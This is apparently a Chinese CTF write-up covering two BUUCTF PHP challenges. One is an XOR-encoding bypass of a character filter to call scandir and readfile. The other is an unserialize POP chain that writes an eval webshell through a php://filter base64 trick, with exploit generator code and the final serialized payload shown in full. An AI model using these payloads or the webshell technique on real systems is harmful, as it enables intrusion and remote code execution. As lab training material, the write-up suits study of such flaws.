BUUCTF:[ISITDTU 2019]EasyPHP
知识点
WP
直接就给了源码,看来需要绕过这两个if
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
第一个if:
\x00- 0-9 匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops 匹配这些字符
\x7F 匹配DEL(\x7F)字符
第二个if:先看count_chars函数,mode为3,那么条件就是不能提交超过13种字符的字符串 综上发现没有过滤~ 和^ 字符,考虑取反绕过和异或绕过 先测试phpinfo函数
final_string="phpinfo"
allowed="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"
for a in final_string:
for i in allowed:
for p in allowed:
if ord(i)^ord(p)==ord(a):
print("i=%s p=%s a=%s"%(i,p,a))
暴力搜索可行的字符,如:phpinfo=%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff 查看disable_functions,发现很多函数都被禁用了。
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,
尝试用scandir()函数或者glob()函数加上print_r或var_dump 来读目录进而获取flag文件。
print_r(scandir('.'));==((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
再考虑count_chars的限制,现在一共用了16个不同的字符,还要减少三个字符以及保留必要的^ ,() 和; 用已有的字符来进行替换,如
str = 'acdips'
target = 'ntr'
for m in target:
for a in str:
for b in str:
for c in str:
if ord(a)^ord(b)^ord(c) == ord(m):
print("{} = {}^{}^{}".format(m,a,b,c))
结果:
n = c^d^i
n = c^i^d
n = d^c^i
n = d^i^c
n = i^c^d
n = i^d^c
t = c^d^s
t = c^s^d
t = d^c^s
t = d^s^c
t = s^c^d
t = s^d^c
r = a^c^p
r = a^p^c
r = c^a^p
r = c^p^a
r = p^a^c
r = p^c^a
那么就是取前部分print_r说明 (%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF) 将对应的ntr替换变成: (%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF) 在四个括号中,将要替换的字符用响应的三个代替字符代替,最后一个括号全为0xff相当于取反,而其他不变的字符不变,但异或了3个0xff相当于取反三次,等同于去反一次,所以仍不变。 最后print_r(scandir(’.’));为: ((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
看到文件,这里可以用end函数来读取数组最后一个元素来简化即,readfile(end(scandir(.))) ,最后为
((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
参考文章:php的一些绕过方法
[EIS 2019]EzPOP
知识点
WP
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
有两个类,先看A类可用点
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
_destruct函数里调用了save方法,而在save方法中store调用了B类中的set方法。 cleanContents方法中array_intersect_key()函数用于比较两个(或更多个)数组的键名 ,并返回交集。那么就是将返回的object和cacheProperties的交集赋给了content[path],object可控,可以将shell写入object的path中 。 在getForStorage函数中调用了cleanContents函数,传入了cache变量(可控),并返回json格式的数据,同时complete变量也可控。
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
再来看B类,直接定位到之前说到的set函数,首先options['expire'] 可控,同时expire变量为null,接下来调用了getExpireTime 返回int型数据和getCacheKey 方法,getCacheKey方法中返回的是拼接数据options['prefix'] . $name ,可控。
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
之后调用了serialize函数,而在serialize中先是将data转为string型,之后可控option[‘serialize’]来返回数据。
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
继续对于数据压缩可以让options[‘data_compress’]=false即可绕过,关键在最后
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
data与<?php exit();?>连接导致传入的shell无法执行而退出,那么就需要绕过: 由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以符合base编码的就有php//exit9个字节,对于中间部分sprintf('%012d',$expire') ,是输出12个字节,那么一共<?php\n// \n exit();?>\n 有21个字节,需要再加3个字节来符合base64编码的规则。 可以使用php伪协议来绕过
php:
最后用file_put_contents来读取flag
filename参数是options[‘prefix’]和$name 进行拼接的结果,而name是由A类中的key传来的,所以让
options['prefix']="php://filter/write=convert.base64-decode/resource=";
key="shell.php";
接下来构造data即shell的内容,在set函数中data变量最初是由value传来的,而value是由A类中的content变量传来,结合我们之前发现的可控变量,这里可以有两个选择,一是让cache为空数组,在this->comlete中写入shell内容,二是令
$a = new A();
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$a->cache = array($path=>$object);
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg base64解码后为<?php eval($_POST['cmd']);?> 这里尝试用第一个方法,令A->complete
A->complete=base64_encode('xxx',base64_encode('<?php eval($_POST['cmd']);?>'))
第一个对于整体的base64_encode是为了可以base64-decode读内容,第二个在括号内的base64_encode是为了绕过exit(),同时加上三个字符来符合base64编码规则。对应解码先是filename里用php伪协议解码一次,那么另一次解码就可以用之前说的可控serialize参数令其为base64_decode 。 整个过程就是
A::__destruct->save()->getForStorage()->cleanStorage()
B::save()->set()->getExpireTime()和getCacheKey()+serialize()->file_put_contents写入shell->getshell
save为A和B的衔接点。 payload
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["cmd"]);?>'));
$this->key = "shell.php";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
}
echo urlencode(serialize(new A()));
结果:
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A60%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKamJXUWlYU2s3UHo0PQ%3D%3D%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D
传递参数令src=&data=payload,再访问shell.php即可
总结
代码审计还是要有耐心,思路清晰灵活运用可用点。
|